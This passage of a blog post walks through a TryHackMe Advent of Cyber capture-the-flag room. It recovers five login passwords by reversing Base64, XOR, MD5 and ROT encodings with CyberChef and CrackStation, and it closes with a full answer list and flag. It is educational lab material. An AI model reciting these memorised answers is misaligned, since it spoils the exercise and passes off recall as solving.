what we use for each lock.</p><h3><strong>The Web App: Bunny Chat + Hidden Logic</strong></h3><p>Login or reach the site with your machine IP</p><p>A few patterns repeat across all five locks:</p><ul><li><strong>Guard chat</strong> is Base64-encoded</li><li><strong>Guard name</strong> is important (you Base64-encode it for username)</li><li><strong>HTTP headers</strong> sometimes contain a “magic question” or recipe ID</li><li>The <strong>login logic</strong> for each lock is implemented in JavaScript - you inspect it via the <strong>Debugger</strong> tab in DevTools</li></ul><p>The flow for each lock is basically:</p><ol><li>Find the guard’s name → Base64-encode it → use it as username</li><li>Get the <em>question</em> from headers → Base64-encode it → send via chat</li><li>Guard replies with a <strong>Base64-encoded password or data</strong></li><li>Look at the <strong>login logic</strong> to see how the password is transformed (Base64, XOR, MD5, etc.)</li><li>Reverse that process with CyberChef to get the <strong>plaintext password</strong></li><li>Log in</li></ol><p>Let’s go lock by lock.</p><h3>Lock 1 - Outer Gate: Simple Base64</h3><p>Here we’re just getting warmed up.</p><p><strong>Steps I followed:</strong></p><ol><li><strong>Find the guard’s name</strong> on the page and Base64-encode it.</li></ol><ul><li>This encoded value is used as the <em>username</em>.</li></ul><ol><li><strong>Check the HTTP headers</strong> (Network tab → first response).</li></ol><ul><li>There’s a “magic question”:</li><li>What is the password for this level?</li><li>Base64-encode that question and send it via the chat (remember, the chat protocol is Base64).</li></ul><ol><li>The guard responds in the chat with a <strong>Base64-encoded password</strong>.</li><li>Open CyberChef, use <strong>From Base64</strong>, paste the guard’s response.</li><li>The decoded result is the plaintext password.</li></ol><p><strong>Password for the first lock:</strong></p><blockquote><em>Iamsofluffy</em></blockquote><p>That password, plus the encoded guard name as username, gets you through the Outer Gate.</p><h3>Lock 2 - Outer Wall: Double Base64</h3><p>Now the same idea, but with a small twist: <strong>double encoding</strong>.</p><p>Again, you:</p><ol><li>Grab the <strong>guard’s name</strong> → Base64 it for the username.</li><li>Check headers for the magic question:</li></ol><ul><li>Did you change the password?<br> Base64-encode the question and send it via chat.</li></ul><ol><li>Guard replies with an encoded value.</li></ol><p>This time, when you inspect the <strong>login logic</strong> in the JS (Debugger tab), you see the password is encoded <strong>twice</strong> with Base64 before being checked. That means to recover the real password:</p><ol><li>Take the guard’s reply.</li><li>In CyberChef, create a recipe:<br> <strong>From Base64</strong> → <strong>From Base64</strong></li><li>The final output is the plaintext password.</li></ol><p><strong>Password for the second lock:</strong></p><blockquote><em>Itoldyoutochangeit!</em></blockquote><p>Log in with the same username pattern (guard name in Base64) + this password.</p><h3>Lock 3 - Guard House: XOR + Base64</h3><p>From this lock onward, the pattern becomes more “real world”: <strong>multiple transformations chained together</strong>.</p><p>The hint here is that the guard chat is still Base64, but the <strong>login logic</strong> now looks like:</p><ol><li>Take user-supplied password</li><li><strong>XOR</strong> it with a key</li><li>Then <strong>Base64-encode</strong> the result</li></ol><p>We’re given the XOR key in the UI:</p><blockquote><em>cyberchef</em></blockquote><p>And from this level forward, there’s no explicit “magic question” header - you just politely ask the guard something simple like:</p><blockquote><em>Password please.</em></blockquote><p>(Encoded in Base64, of course.)</p><p>The guard returns an encoded string, which corresponds to the <em>stored</em> transformed password.</p><h3>XOR Refresher</h3><p>XOR has a nice property:</p><ul><li>If A XOR KEY = B</li><li>Then B XOR KEY = A</li></ul><p>So if the original login logic is:</p><blockquote><em>Plaintext → XOR (key) → Base64</em></blockquote><p>Then to <em>reverse it</em>, we:</p><blockquote><em>Encoded string → From Base64 → XOR (same key) → Plaintext</em></blockquote><h3>CyberChef Recipe (Reverse Logic)</h3><ol><li>Operation 1: <strong>From Base64</strong></li><li>Operation 2: <strong>XOR</strong> → key: cyberchef</li></ol><p>Paste the guard’s reply as input and let CyberChef do the rest.</p><p><strong>Password for the third lock:</strong></p><blockquote><em>BugsBunny</em></blockquote><p>That’s the Guard House down.</p><h3>Lock 4 - Inner Castle: MD5 &amp; Hash Cracking</h3><p>This one switches gears slightly.</p><p>When you ask the guard for the password (again via Base64 chat), you get something that doesn’t look like “normal” text - it looks like a hash. At the same time, the login logic in JS shows an <strong>MD5 checksum</strong> being used.</p><p>MD5 is a hashing function: one-way, fixed-length output. You’re not supposed to “decode” it… but you <em>can</em> look up known values using precomputed tables (rainbow tables / cracking services).</p><p>Here’s what’s happening logically:</p><ol><li>The “real” password is hashed with <strong>MD5</strong>.</li><li>The hash is then Base64-encoded and stored/transmitted.</li></ol><p>To reverse this:</p><ol><li>Guard’s chat reply → Base64 decode (CyberChef: <strong>From Base64</strong>)</li><li>The result is an <strong>MD5 hash</strong> string.</li><li>Paste the hash into <strong>CrackStation</strong> (online hash lookup).</li><li>CrackStation returns the original password if it’s in their dataset.</li></ol><p><strong>Password for the fourth lock:</strong></p><blockquote><em>passw0rd1</em></blockquote><p>So here, the exercise is less about CyberChef and more about recognizing:</p><ul><li>This is a hash, not an encoded phrase</li><li>You need an external cracking resource</li></ul><h3>Lock 5 - Prison Tower: Dynamic Recipes</h3><p>The final lock is the most fun.</p><p>McSkidy warns you that <strong>Sir BreachBlocker III</strong> implemented <em>different mechanisms</em> for the last lock that can change. The login logic screenshot shows a hint: you need to look at a <strong>Recipe ID</strong> in the HTTP headers.</p><p>So the flow becomes:</p><ol><li>Get the guard’s name → Base64 for username (same pattern).</li><li>Ask the guard for the password via chat.</li><li>Check headers for a <strong>recipe ID</strong>.</li><li>Based on the ID, you must choose the <em>correct reverse pipeline</em> to decode the guard’s response.</li></ol><p>You’re given a cheat sheet for the reverse logic:</p><p>Recipe IDReverse Logic (in CyberChef)1From Base64 → Reverse → ROT132From Base64 → From Hex → Reverse3ROT13 → From Base64 → XOR (with extracted key)4ROT13 → From Base64 → ROT47</p><p>So for example, if the header says Recipe: 1, your CyberChef recipe is:</p><ul><li><strong>From Base64</strong></li><li><strong>Reverse</strong></li><li><strong>ROT13</strong></li></ul><p>You paste the guard’s encoded reply as input, run the pipeline, and the final output is your plaintext password.</p><p>In my case, after matching the correct recipe and reversing it in CyberChef, I got:</p><p><strong>Password for the fifth lock:</strong></p><blockquote><em>51rBr34chBl0ck3r</em></blockquote><p>And once you log in successfully, you’re also given the final flag:</p><p><strong>Flag:</strong></p><blockquote><em>THM{M3D13V4L_D3C0D3R_4D3P7}</em></blockquote><p>And with that, the Prison Tower lock collapses, and McSkidy finally has a clear escape route.</p><p>Just need the Answers?</p><ul><li><strong>What is the password for the first lock?</strong><br> Iamsofluffy</li><li><strong>What is the password for the second lock?</strong><br> Itoldyoutochangeit!</li><li><strong>What is the password for the third lock?</strong><br> BugsBunny</li><li><strong>What is te password for the fourth lock?</strong><br> passw0rd1</li><li><strong>What is the password for the fifth lock?</strong><br> 51rBr34chBl0ck3r</li><li><strong>What is the retrieved flag?</strong><br> THM{M3D13V4L_D3C0D3R_4D3P7}</li></ul><h3>My Journey with Advent of Cyber and Who I am?</h3><p>Every day of this challenge reinforces my passion for learning and problem-solving in cybersecurity. It’s humbling to navigate these scenarios, knowing that there’s always more to discover. If you’re a recruiter reading this, I hope my enthusiasm for growth, resilience in tackling challenges, and dedication to learning come through loud and clear.</p><p>I recently graduated from UMD with an MEng in cybersecurity, passionate about learning new tools and skills. And yes, I’m no expert, and I’m zero, but my one and only aim has always been to evolve, learn, and help! So here I’m simplifying topics, sharing technical insights, and searching for a mentor. Please connect with me on LinkedIn, as I want someone who can help me in this learning journey and guide me with a roadmap! I hope you enjoyed this article. Have a wonderful day/night ahead🌻</p><p>If you’re open to connecting, reach out to me on LinkedIn:<a href="https://www.linkedin.com/in/akshat-patel64">https://www.linkedin.com/in/akshat-patel64</a> | <a href="https://akshatpatel64.github.io/">https://akshatpatel64.github.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7967c3dbabb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>